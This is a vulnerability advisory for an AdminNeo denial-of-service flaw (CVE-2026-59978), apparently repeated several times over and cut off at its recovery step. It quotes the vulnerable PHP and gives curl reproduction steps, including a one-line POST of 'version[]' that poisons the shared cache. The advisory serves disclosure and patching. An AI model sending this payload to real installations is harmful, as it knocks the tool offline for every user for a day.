CVE-2026-59978

AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated ?script=version endpoint accepts POST data without origin, CSRF or parameter-type validation. A version[] parameter becomes a PHP array that bootstrap.inc.php serializes into the shared adminneo.version cache. On later page loads, design.inc.php passes that cached value to cookie() and rawurlencode(), causing a TypeError rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.

AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated ?script=version endpoint accepts POST data without origin, CSRF or parameter-type validation. A version[] parameter becomes a PHP array that bootstrap.inc.php serializes into the shared adminneo.version cache. On later page loads, design.inc.php passes that cached value to cookie() and rawurlencode(), causing a TypeError rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.

Summary

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript.

• functions.js line 110-121: Receives the latest release information from GitHub API by AJAX.
• JavaScript POSTs version number to ?script=version.
• Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.

// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (CSRF token is present, but not checked for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm…

AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated ?script=version endpoint accepts POST data without origin, CSRF or parameter-type validation. A version[] parameter becomes a PHP array that bootstrap.inc.php serializes into the shared adminneo.version cache. On later page loads, design.inc.php passes that cached value to cookie() and rawurlencode(), causing a TypeError rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.

AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated ?script=version endpoint accepts POST data without origin, CSRF or parameter-type validation. A version[] parameter becomes a PHP array that bootstrap.inc.php serializes into the shared adminneo.version cache. On later page loads, design.inc.php passes that cached value to cookie() and rawurlencode(), causing a TypeError rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.

Summary

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript.

• functions.js line 110-121: Receives the latest release information from GitHub API by AJAX.
• JavaScript POSTs version number to ?script=version.
• Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.

// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (CSRF token is present, but not checked for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm…